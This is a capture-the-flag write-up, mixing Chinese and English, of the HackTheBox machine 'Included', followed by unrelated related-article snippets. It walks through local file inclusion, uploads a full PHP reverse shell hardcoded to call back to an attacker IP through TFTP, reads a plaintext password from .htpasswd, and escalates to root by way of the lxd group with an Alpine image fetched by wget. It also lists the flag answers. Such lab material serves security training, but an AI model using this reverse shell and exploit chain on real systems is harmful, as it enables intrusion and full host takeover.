[StartingPoint][Tier2]Included

LXD

https://www.hackingarticles.in/lxd-privilege-escalation/

Task 1

What service is running on the target machine over UDP?

(目标机器上通过UDP运行的服务是什么?)

$ nmap -sU 10.129.232.86 -p 69

image.png

tftp

Task 2

What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

(端口80上托管的网页容易受到哪一类漏洞的影响?)

$ nmap -sC -sV 10.129.232.86 --min-rate 1000

image.png

$ curl http://10.129.232.86/?file=/etc/passwd

本地文件包含

image.png

Local File Inclusion

Task 3

What is the default system folder that TFTP uses to store files?

(TFTP 默认使用的系统文件夹是什么?)

image.png

/var/lib/tftpboot/

Task 4

Which interesting file is located in the web server folder and can be used for Lateral Movement?

(位于网络服务器文件夹中且可用于横向移动的有趣文件是哪个?)

简单文件传输协议(TFTP)是一种简单的协议,提供基本的文件传输功能,不需要用户身份验证。TFTP适用于不需要文件传输协议(FTP)提供的复杂交互的应用程序。

缺省情况下,TFTP不需要身份验证。这意味着任何人都可以连接到TFTP服务器并从远程系统上传或下载文件。
我们可以将此链接到我们已经识别的LFI漏洞,以便将恶意PHP代码上传到目标系统,该系统将负责向我们返回一个反向shell。然后我们会访问这个
PHP文件通过LFI和web服务器将执行PHP代码。

//-webshell.php-
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.7';  // CHANGE THIS
$port = 10032;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;//
// Daemonise ourself if possible to avoid zombies later
//// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}
?>

$ tftp 10.129.226.19

tftp> put webshell.php

image.png

再次验证,的确写入成功

$ curl http://10.129.226.19/?file=php://filter/read=convert.base64-encode/resource=/var/lib/tftpboot/webshell.php|base64 -d

反弹shell

$ curl 'http://10.129.226.19/?file=/var/lib/tftpboot/webshell.php'

image.png

$ ls -al /var/www/html

image.png

.htpasswd

Task 5

What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

(“Mike”用户所属的组,并且可能被利用进行特权提升的是哪个?)

升级shell

$ SHELL=/bin/bash script -q /dev/null

image.png

$ cat /var/www/html/.htpasswd

image.png

$ su mike

Sheffield19

image.png

lxd

Task 6

When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

(在利用容器来攻击系统时,我们寻找一个非常小的发行版。我们用于此任务的最爱被命名为山脉。那个发行版的名称是什么?)

image.png

LXD 是 Linux 系统上处理 LXC 容器的管理 API。它会为本地 lxd 组的任何成员执行任务。它不会尝试将调用用户的权限与要执行的功能匹配(LXD 不会根据调用它的用户的权限来限制其执行的功能。换句话说,无论是哪个用户调用了 LXD,它都将执行请求的操作,而不考虑调用用户的权限级别。)。

该漏洞利用了Alpine映像,这是一个基于busy box的轻量级Linux发行版。下载并在本地构建此发行版之后,使用HTTP服务器将其上传到远程系统。然后将映像导入到LXD中,并使用它以root权限挂载Host文件系统

$ searchsploit lxd
$ cp /usr/share/exploitdb/exploits/linux/local/46978.sh ./lxd.sh

image.png

alpine

Task 7

What flag do we set to the container so that it has root privileges on the host system?

(我们设置哪个标志给容器,以便在主机系统上拥有 root 权限?)

下载build-alpine

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

image.png

建立alpine

$ chmod a+x build-alpine

$ sudo ./build-alpine

image.png

image.png

$ python3 -m http.server 80

image.png

在靶机上下载,exp.tar.gz和lxd.sh

注意这里的权限是mike的

& cd /tmp;wget http://10.10.16.7/exp.tar.gz;wget http://10.10.16.7/lxd.sh;chmod a+x lxd.sh;./lxd.sh -f exp.tar.gz

image.png

security.privileged=true

Task 8

If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

(如果容器中的根文件系统挂载在 /mnt,主机系统挂载后,在容器中可以找到根标志在哪里?)

$ cd /mnt/root

image.png

/mnt/root/

User Flag

$ find / -name user.txt 2>/dev/nul

$ cat /home/mike/user.txt

image.png

a56ef91d70cfbf2cdb8f454c006935a1

Root Flag

$ find / -name root.txt

image.png

$ cat /mnt/root/root/root.txt

image.png

c693d9c7499d9f572ee375d4c14c7bcf

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/814320.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DRF多表关联的序列化和反序列化

DRF多表关联的序列化和反序列化 目录 DRF多表关联的序列化和反序列化序列化定制字段source一对多的序列化 多表关联的序列化方式1&#xff1a;在表模型中定义方法方式2&#xff1a;定制返回格式SerializerMethodField方式3&#xff1a;子序列化 多表关联的反序列化反序列化保存…

Linux【实战篇】—— NFS服务搭建与配置

目录 一、介绍 1.1什么是NFS&#xff1f; 1.2客户端与服务端之间的NFS如何进行数据传输&#xff1f; 1.3RPC和NFS的启动顺序 1.4NFS服务 系统守护进程 二、安装NFS服务端 2.1安装NFS服务 2.2 创建共享目录 2.3创建共享目录首页文件 2.4关闭防火墙 2.5启动NFS服务 2.…

秋叶Stable diffusion的创世工具安装-带安装包链接

来自B站up秋葉aaaki&#xff0c;近期发布了Stable Diffusion整合包v4.7版本&#xff0c;一键在本地部署Stable Diffusion&#xff01;&#xff01; 适用于零基础想要使用AI绘画的小伙伴~本整合包支持SDXL&#xff0c;预装多种必须模型。无需安装git、python、cuda等任何内容&am…

day9 | 栈与队列 part-1 (Go) | 232 用栈实现队列、225 用队列实现栈

今日任务 栈与队列的理论基础 (介绍:代码随想录)232 用栈实现队列(题目: . - 力扣&#xff08;LeetCode&#xff09;)225 用队列实现栈 (题目: . - 力扣&#xff08;LeetCode&#xff09; ) 栈与队列的理论基础 栈 : 先进后出 队列: 后进先出 老师给的讲解:代码随想录 …

记一次centos合并excel,word,png,pdf为一个整体pdf的入坑爬坑过程(一直显示宋体问题)。

一、背景 原先已经简单实现了excel,word,png,pdf合成一个整体pdf的过程。并将它弄到docker容器中。 1、原先入坑的技术栈 php:7.4 (业务有涉及)php第三方包 setasign\Fpdi\Fpdi : 2.3.6 &#xff08;pdf合并&#xff09;libreoffice : 5.3.6.1ImageMagick: 6.9.10-68 2、…

本地PC安装eNSP Pro完成简单的WLAN实验

前言 上个月底华为更新一版eNSP Pro&#xff0c;新增了AC、AP、STA等设备&#xff0c;也就是说可以在eNSP中进行WLAN相关的实验了。之前写过一篇文章《将eNSP Pro部署在华为云是什么体验》介绍了怎么在华为云上部署eNSP Pro&#xff0c;这次使用本地PC机在虚拟机中安装eNSP Pr…

RF测试笔记:三阶交调失真概述及测试

1. 交调失真会带来哪些影响&#xff1f; 无线通信系统中&#xff0c;交调失真不仅会影响发射链路的性能&#xff0c;还会影响接收链路的性能。 对于发射链路&#xff0c;非线性最严重的部件非功率放大器莫属&#xff0c;当信号为宽带调制信号时&#xff0c;无论是在信号带宽内…

13 Php学习:面向对象

PHP 面向对象 面向对象&#xff08;Object-Oriented&#xff0c;简称 OO&#xff09;是一种编程思想和方法&#xff0c;它将程序中的数据和操作数据的方法封装在一起&#xff0c;形成"对象"&#xff0c;并通过对象之间的交互和消息传递来完成程序的功能。面向对象编…

基于Python的深度学习的中文情感分析系统(V2.0),附源码

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

【STL详解 —— list的介绍及使用】

STL详解 —— list的介绍及使用 list的介绍list的介绍使用list的构造list iterator的使用list capacitylist element accesslist modifiers 示例list的迭代器失效 list的介绍 list是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭…

基于Docker构建CI/CD工具链(八)用nginx收集测试报告

当前&#xff0c;我们已经介绍了如何使用 Apifox 和 JMeter 进行测试&#xff0c;尽管控制台已经输出了测试结果&#xff0c;但在实际工作中&#xff0c;我们通常需要更详细的测试报告。 测试报告在测试过程中已经生成&#xff0c;只需将其托管起来以便查阅。如果你有现成的 C…

C++11 设计模式4. 抽象工厂(Abstract Factory)模式

问题的提出 从前面我们已经使用了工厂方法模式 解决了一些问题。 现在 策划又提出了新的需求&#xff1a;对于各个怪物&#xff0c;在不同的场景下&#xff0c;怪物的面板数值会发生变化&#xff0c; //怪物分类&#xff1a;亡灵类&#xff0c;元素类&#xff0c;机械类 …

MATLAB 自定义实现点云法向量和曲率计算(详细解读)(64)

MATLAB 自定义实现点云法向量和曲率计算(详细解读)(64) 一、算法介绍二、算法步骤三、算法实现1.代码 (完整,注释清晰,可直接用)2.结果一、算法介绍 首先说明: ------这里代码手动实现,不调用matlab提供的法向量计算接口,更有助于大家了解法向量和曲率的计算方法,…

docker部署Prometheus+AlertManager实现邮件告警

文章目录 一、环境准备1、硬件准备&#xff08;虚拟机&#xff09;2、关闭防火墙&#xff0c;selinux3、所有主机安装docker 二、配置Prometheus1、docker启动Prometheus 三、添加监控节点1、docker启动node-exporter 四、Prometheus配置node-exporter1、修改prometheus.yml配置…

【网站项目】摄影竞赛小程序

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

刷题之动态规划-回文串

前言 大家好&#xff0c;我是jiantaoyab&#xff0c;开始刷动态规划的回文串类型相关的题目 动态规划5个步骤 状态表示 &#xff1a;dp数组中每一个下标对应值的含义是什么>dp[i]表示什么状态转移方程&#xff1a; dp[i] 等于什么1 和 2 是动态规划的核心步骤&#xff0c;…

某次众测的加解密对抗

前言 起源于某次众测中&#xff0c;遇到请求包响应包全密文的情况&#xff0c;最终实现burp中加解密。 用到的工具有 sekiro&#xff08;rpc转发&#xff09;flask&#xff08;autodecoder自定义接口&#xff09;autodecoder&#xff08;burp插件转发&#xff09; debug部分…

ClickHouse--18--argMin() 和argMax()函数

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 argMin() 和argMax()函数业务场景使用案例1.准备表和数据&#xff1a;业务场景一&#xff1a;查看salary 最高和最小的user业务场景二&#xff1a;根据更新时间获取…

【fastapi】搭建第一个fastapi后端项目

本篇文章介绍一下fastapi后端项目的搭建。其实没有什么好说的&#xff0c;按照官方教程来即可&#xff1a;https://fastapi.tiangolo.com/zh/ 安装依赖 这也是我觉得python项目的槽点之一。所有依赖都安装在本地&#xff0c;一旦在别人电脑上编写项目就又要安装一遍。很扯淡。…

最优算法100例之45-不用循环乘法求1-n的和

专栏主页&#xff1a;计算机专业基础知识总结&#xff08;适用于期末复习考研刷题求职面试&#xff09;系列文章https://blog.csdn.net/seeker1994/category_12585732.html 题目描述 要求不能使用乘除法、for、while、if、else、switch、case等关键字及条件判断语句。不能用循…